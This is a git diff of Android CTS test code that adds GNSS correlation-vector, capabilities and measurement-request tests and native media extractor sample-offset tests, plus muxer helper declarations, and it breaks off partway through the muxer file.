@@ -105,20 +102,6 @@
     }
 
     @Test
-    public void testGetProvider() {
-        for (String provider : mLocationManager.getAllProviders()) {
-            mLocationManager.getProvider(provider);
-        }
-    }
-
-    @Test
-    public void testIsProviderEnabled() {
-        for (String provider : mLocationManager.getAllProviders()) {
-            mLocationManager.isProviderEnabled(provider);
-        }
-    }
-
-    @Test
     public void testAddTestProvider() {
         for (String provider : mLocationManager.getAllProviders()) {
             try {
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
new file mode 100644
index 0000000..4951f30
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
@@ -0,0 +1,85 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.location.CorrelationVector;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of CorrelationVector class. This includes writing and reading
+ * from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CorrelationVectorTest {
+
+    private static final double PRECISION = 0.0001;
+    private static final int[] MAGNITUDE_ARRAY = new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0};
+    private static final int[] MAGNITUDE_ARRAY2 = new int[] {0, 3000, 10000, 5000, 0, 0, 3000, 0};
+
+    @Test
+    public void testCorrelationVectorDescribeContents() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        assertEquals(0, correlationVector.describeContents());
+    }
+
+    @Test
+    public void testCorrelationVectorWriteToParcel() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        Parcel parcel = Parcel.obtain();
+        correlationVector.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        CorrelationVector newCorrelationVector = CorrelationVector.CREATOR.createFromParcel(parcel);
+        verifyCorrelationVectorValuesAndGetters(newCorrelationVector);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testCreateCorrelationVectorAndGetValues() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        verifyCorrelationVectorValuesAndGetters(correlationVector);
+    }
+
+    @Test
+    public void testEquals() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1, correlationVector2);
+        assertNotEquals(correlationVector1, correlationVector3);
+    }
+
+    @Test
+    public void testHashCode() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1.hashCode(), correlationVector2.hashCode());
+        assertNotEquals(correlationVector1.hashCode(), correlationVector3.hashCode());
+    }
+
+    private static void verifyCorrelationVectorValuesAndGetters(
+            CorrelationVector correlationVector) {
+        assertEquals(30d, correlationVector.getSamplingWidthMeters(), PRECISION);
+        assertEquals(10d, correlationVector.getSamplingStartMeters(), PRECISION);
+        assertEquals(10d, correlationVector.getFrequencyOffsetMetersPerSecond(), PRECISION);
+        assertArrayEquals(MAGNITUDE_ARRAY, correlationVector.getMagnitude());
+    }
+
+    private static CorrelationVector createTestCorrelationVector(
+            double samplingWidthMeters, double samplingStartMeters,
+                    double frequencyOffsetMetersPerSecond, int[] magnitude) {
+        return new CorrelationVector.Builder()
+                .setSamplingWidthMeters(samplingWidthMeters)
+                .setSamplingStartMeters(samplingStartMeters)
+                .setFrequencyOffsetMetersPerSecond(frequencyOffsetMetersPerSecond)
+                .setMagnitude(magnitude)
+                .build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssCapabilitiesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssCapabilitiesTest.java
new file mode 100644
index 0000000..467d63d
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssCapabilitiesTest.java
@@ -0,0 +1,46 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssCapabilities;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssCapabilities}. This includes writing and reading
+ * from parcel, and verifying setters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssCapabilitiesTest {
+
+    @Test
+    public void testGetValues() {
+        GnssCapabilities gnssCapabilities = getTestGnssCapabilities();
+        verifyTestValues(gnssCapabilities);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssCapabilities gnssCapabilities = getTestGnssCapabilities();
+        Parcel parcel = Parcel.obtain();
+        gnssCapabilities.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssCapabilities newGnssCapabilities = GnssCapabilities.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newGnssCapabilities);
+        parcel.recycle();
+    }
+
+    private static GnssCapabilities getTestGnssCapabilities() {
+        GnssCapabilities.Builder builder = new GnssCapabilities.Builder();
+        builder.setHasMeasurementCorrectionsForDriving(true);
+        return builder.build();
+    }
+
+    private static void verifyTestValues(GnssCapabilities gnssCapabilities) {
+        assertEquals(true, gnssCapabilities.hasMeasurementCorrectionsForDriving());
+    }
+}
\ No newline at end of file
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
index fc5481e..93a6640 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
@@ -24,9 +24,12 @@
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.os.Build;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
+import org.junit.Assert;
+
 /**
  * Test the {@link Location} values.
  *
@@ -67,26 +70,46 @@
     }
 
     /**
-     * 1. Get GNSS locations in low power mode.
-     * 2. Check whether all fields' value make sense.
+     * 1. Get regular GNSS locations to warm up the engine.
+     * 2. Get low-power GNSS locations.
+     * 3. Check whether all fields' value make sense.
      */
     public void testLowPowerModeGnssLocation() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(MIN_ANDROID_SDK_VERSION_REQUIRED,
-                mTestLocationManager, TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
+
+        // Get regular GNSS locations to warm up the engine.
+        waitForRegularGnssLocations();
+
         mTestLocationManager.requestLowPowerModeGnssLocationUpdates(5000, mLocationListener);
 
-        waitAndValidateLocation();
+        waitAndValidateLowPowerLocations();
     }
 
-    private void waitAndValidateLocation() throws InterruptedException {
+
+    private void waitForRegularGnssLocations() throws InterruptedException {
+        TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(locationListener);
+        boolean success = locationListener.await();
+        mTestLocationManager.removeLocationUpdates(locationListener);
+
+        if (success) {
+            Log.i(TAG, "Successfully received " + LOCATION_TO_COLLECT_COUNT
+                    + " regular GNSS locations.");
+        }
+
+        Assert.assertTrue("Time elapsed without getting enough regular GNSS locations."
+                + " Possibly, the test has been run deep indoors."
+                + " Consider retrying test outdoors.", success);
+    }
+
+    private void waitAndValidateLowPowerLocations() throws InterruptedException {
         boolean success = mLocationListener.await();
         SoftAssert softAssert = new SoftAssert(TAG);
         softAssert.assertTrue(
-                "Time elapsed without getting the GNSS locations."
+                "Time elapsed without getting the low-power GNSS locations."
                         + " Possibly, the test has been run deep indoors."
                         + " Consider retrying test outdoors.",
                 success);
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
index 8136d83..9248032 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.privileged;
 
 import android.Manifest;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssRequest;
 import android.location.Location;
@@ -26,7 +27,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -89,11 +89,8 @@
      * Test GPS measurements registration with full tracking enabled.
      */
     public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
-        // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.R,
-                mTestLocationManager,
-                TAG)) {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -107,13 +104,35 @@
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
                 new GnssRequest.Builder().setFullTracking(true).build());
 
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with correlation vector outputs enabled
+     */
+    public void testGnssMeasurementRegistration_enableCorrelationOutputs() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().
+                        setCorrelationVectorOutputsEnabled(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
+        mMeasurementListener.await();
+
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
 
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..ced41ba
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
@@ -0,0 +1,92 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssMeasurementRequest;
+import android.location.LocationManager;
+import android.os.Parcel;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private Context mContext;
+    private LocationManager mLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mLocationManager = mContext.getSystemService(LocationManager.class);
+        assertNotNull(mLocationManager);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isCorrelationVectorOutputsEnabled());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isCorrelationVectorOutputsEnabled());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean correlationVectorOutputs) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setCorrelationVectorOutputsEnabled(correlationVectorOutputs);
+        return builder.build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
new file mode 100644
index 0000000..00c6770
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.CorrelationVector;
+import android.location.GnssMeasurement;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+    private static final Collection<CorrelationVector> TEST_CORRELATION_VECTORS =
+            createTestCorrelationVectors();
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        assertEquals(0, measurement.describeContents());
+    }
+
+    @Test
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    @Test
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCorrelationVectors());
+        measurement.resetCorrelationVectors();
+        assertFalse(measurement.hasCorrelationVectors());
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setCorrelationVectors(TEST_CORRELATION_VECTORS);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        Collection<CorrelationVector> correlationVectors = measurement.getCorrelationVectors();
+        assertArrayEquals(
+                TEST_CORRELATION_VECTORS.toArray(
+                        new CorrelationVector[TEST_CORRELATION_VECTORS.size()]),
+                correlationVectors.toArray(new CorrelationVector[correlationVectors.size()]));
+    }
+
+    private static Collection<CorrelationVector> createTestCorrelationVectors() {
+        Collection<CorrelationVector> correlationVectors = new ArrayList<>();
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(10d)
+                        .setFrequencyOffsetMetersPerSecond(10d)
+                        .setMagnitude(new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0})
+                        .build());
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(20d)
+                        .setFrequencyOffsetMetersPerSecond(20d)
+                        .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
+                        .build());
+        return correlationVectors;
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..74c67d4
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
@@ -0,0 +1,140 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssCapabilities;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *        3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s, the test will fail if any of the fields is not populated
+ *    or in the expected range.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementValuesTest {
+
+    private static final String TAG = "GnssMeasValuesTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+    private Context mContext;
+    private TestGnssMeasurementListener mMeasurementListener;
+    private TestLocationListener mLocationListener;
+    private TestLocationManager mTestLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+        mTestLocationManager = new TestLocationManager(mContext);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+     * It only performs valid checks for the measurements received.
+     * This tests uses actual data retrieved from GPS HAL.
+     */
+    @Test
+    public void testListenForGnssMeasurements() throws Exception {
+        boolean isCorrVecSupported = false;
+        boolean isSatPvtSupported = false;
+
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+            return;
+        }
+
+        if (TestMeasurementUtil.isAutomotiveDevice(mContext)) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        GnssCapabilities capabilities = mTestLocationManager.getLocationManager().
+                getGnssCapabilities();
+        isSatPvtSupported = capabilities.hasSatellitePvt();
+        isCorrVecSupported = capabilities.hasMeasurementCorrelationVectors();
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG);
+        mTestLocationManager.registerGnssMeasurementCallback(
+                mMeasurementListener,
+                new GnssMeasurementRequest.Builder()
+                        .setCorrelationVectorOutputsEnabled(isCorrVecSupported)
+                        .build());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        boolean success = mLocationListener.await();
+        softAssert.assertTrue(
+                "Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success);
+
+        Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of GnssMeasurement Event received = " + eventCount);
+
+        softAssert.assertTrue(
+                "GnssMeasurementEvent count", "X > 0",
+                String.valueOf(eventCount), eventCount > 0);
+
+        for (GnssMeasurementsEvent event : events) {
+            // Verify Gps Event optional fields are in required ranges
+            assertNotNull("GnssMeasurementEvent cannot be null.", event);
+            long timeInNs = event.getClock().getTimeNanos();
+            for (GnssMeasurement measurement : event.getMeasurements()) {
+                TestMeasurementUtil.assertAllGnssMeasurementSystemFields(mTestLocationManager,
+                    measurement, softAssert, timeInNs, isCorrVecSupported, isSatPvtSupported);
+            }
+        }
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/media/jni/NativeExtractorUnitTest.cpp b/tests/media/jni/NativeExtractorUnitTest.cpp
index 2abc515..1c7792a 100644
--- a/tests/media/jni/NativeExtractorUnitTest.cpp
+++ b/tests/media/jni/NativeExtractorUnitTest.cpp
@@ -318,6 +318,82 @@
     return static_cast<jboolean>(isPass);
 }
 
+static jboolean nativeTestVideoSampleFileOffsetByGetSampleFormat(JNIEnv* env, jobject,
+                                                             jstring jsrcPath) {
+    int64_t video_sample_offsets[] = {6522, 95521, 118719, 126219, 137578};
+    bool isPass = true;
+    const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+    AMediaExtractor* extractor = AMediaExtractor_new();
+    AMediaFormat* format = AMediaFormat_new();
+    FILE* srcFp = fopen(csrcPath, "rbe");
+    if (AMEDIA_OK == setExtractorDataSource(extractor, srcFp)) {
+        if (AMEDIA_OK == AMediaExtractor_selectTrack(extractor, 0 /* video */)) {
+            for(int i = 0; i < sizeof(video_sample_offsets)/sizeof(int64_t); ++i) {
+                if (AMEDIA_OK == AMediaExtractor_getSampleFormat(extractor, format)) {
+                    ALOGV("AMediaFormat_toString:%s", AMediaFormat_toString(format));
+                    int64_t offset = 0;
+                    if (AMediaFormat_getInt64(format, "sample-file-offset", &offset)) {
+                        if (offset != video_sample_offsets[i]) {
+                            ALOGD("offset:%lld, video_sample_offsets[%d]:%lld",
+                                        (long long)offset, i, (long long)video_sample_offsets[i]);
+                            isPass = false;
+                            break;
+                        }
+                    } else {
+                        ALOGD("error: sample-file-offset not found");
+                        isPass = false;
+                        break;
+                    }
+                }
+                AMediaExtractor_advance(extractor);
+            }
+        }
+    }
+    AMediaExtractor_delete(extractor);
+    AMediaFormat_delete(format);
+    if (srcFp) fclose(srcFp);
+    env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+    return static_cast<jboolean>(isPass);
+}
+
+static jboolean nativeTestAudioSampleFileOffsetByGetSampleFormat(JNIEnv* env, jobject,
+                                                             jstring jsrcPath) {
+    int64_t audio_sample_offsets[] = {186125, 186682, 187286, 187944, 188551};
+    bool isPass = true;
+    const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+    AMediaExtractor* extractor = AMediaExtractor_new();
+    AMediaFormat* format = AMediaFormat_new();
+    FILE* srcFp = fopen(csrcPath, "rbe");
+    if (AMEDIA_OK == setExtractorDataSource(extractor, srcFp)) {
+        if (AMEDIA_OK == AMediaExtractor_selectTrack(extractor, 1 /* audio */)) {
+            for(int i = 0; i < sizeof(audio_sample_offsets)/sizeof(int64_t); ++i) {
+                if (AMEDIA_OK == AMediaExtractor_getSampleFormat(extractor, format)) {
+                    ALOGV("AMediaFormat_toString:%s", AMediaFormat_toString(format));
+                    int64_t offset = 0;
+                    if (AMediaFormat_getInt64(format, "sample-file-offset", &offset)) {
+                        if (offset != audio_sample_offsets[i]) {
+                            ALOGD("offset:%lld, audio_sample_offsets[%d]:%lld",
+                                        (long long)offset, i, (long long)audio_sample_offsets[i]);
+                            isPass = false;
+                            break;
+                        }
+                    } else {
+                        ALOGE("error: sample-file-offset not found");
+                        isPass = false;
+                        break;
+                    }
+                }
+                AMediaExtractor_advance(extractor);
+            }
+        }
+    }
+    AMediaExtractor_delete(extractor);
+    AMediaFormat_delete(format);
+    if (srcFp) fclose(srcFp);
+    env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+    return static_cast<jboolean>(isPass);
+}
+
 static jboolean nativeTestGetSampleTrackIndexBeforeSetDataSource(JNIEnv*, jobject) {
     AMediaExtractor* extractor = AMediaExtractor_new();
     bool isPass = AMediaExtractor_getSampleTrackIndex(extractor) == -1;
@@ -483,6 +559,10 @@
              (void*)nativeTestReadSampleDataBeforeSelectTrack},
             {"nativeTestIfNullLocationIsRejectedBySetDataSource", "()Z",
              (void*)nativeTestIfNullLocationIsRejectedBySetDataSource},
+            {"nativeTestVideoSampleFileOffsetByGetSampleFormat", "(Ljava/lang/String;)Z",
+             (void*)nativeTestVideoSampleFileOffsetByGetSampleFormat},
+            {"nativeTestAudioSampleFileOffsetByGetSampleFormat", "(Ljava/lang/String;)Z",
+             (void*)nativeTestAudioSampleFileOffsetByGetSampleFormat},
     };
     jclass c = env->FindClass("android/mediav2/cts/ExtractorUnitTest$TestApiNative");
     return env->RegisterNatives(c, methodTable, sizeof(methodTable) / sizeof(JNINativeMethod));
diff --git a/tests/media/jni/NativeMuxerTest.cpp b/tests/media/jni/NativeMuxerTest.cpp
index b9eae64..0d4f392 100644
--- a/tests/media/jni/NativeMuxerTest.cpp
+++ b/tests/media/jni/NativeMuxerTest.cpp
@@ -25,6 +25,7 @@
 #include <jni.h>
 #include <sys/stat.h>
 #include <unistd.h>
+#include <dlfcn.h>
 
 #include <cmath>
 #include <cstring>
@@ -34,6 +35,9 @@
 
 #include "NativeMediaCommon.h"
 
+// TODO: replace __ANDROID_API_FUTURE__with 31 when it's official
+#define __TRANSCODING_MIN_API__ __ANDROID_API_FUTURE__
+
 /**
  * MuxerNativeTestHelper breaks a media file to elements that a muxer can use to rebuild its clone.
  * While testing muxer, if the test doesn't use MediaCodecs class to generate elementary stream,
@@ -58,12 +62,36 @@
 
     int getTrackCount() { return mTrackCount; }
 
+    size_t getSampleCount(size_t trackId) {
+        if (trackId >= mTrackCount) {
+            return 0;
+        }
+        return mBufferInfo[(mInpIndexMap.at(trackId))].size();
+    }
+
+    AMediaFormat* getTrackFormat(size_t trackId) {
+        if (trackId >= mTrackCount) {
+            return nullptr;
+        }
+        return mFormat[trackId];
+    }
+
     bool registerTrack(AMediaMuxer* muxer);
 
     bool insertSampleData(AMediaMuxer* muxer);
 
+    bool writeAFewSamplesData(AMediaMuxer* muxer, uint32_t fromIndex, uint32_t toIndex);
+
+    bool writeAFewSamplesDataFromTime(AMediaMuxer* muxer, int64_t *fromTime,
+                                            uint32_t numSamples, bool lastSplit);
+
     bool muxMedia(AMediaMuxer* muxer);
 
+    bool appendMedia(AMediaMuxer *muxer, uint32_t fromIndex, uint32_t toIndex);
+
+    bool appendMediaFromTime(AMediaMuxer *muxer, int64_t *appendFromTime,
+                                    uint32_t numSamples, bool lastSplit);
+
     bool combineMedias(AMediaMuxer* muxer, MuxerNativeTestHelper* that, const int* repeater);
 
     bool isSubsetOf(MuxerNativeTestHelper* that);
@@ -180,7 +208,7 @@
         }
         offset += bufferInfo->size;
     }
-
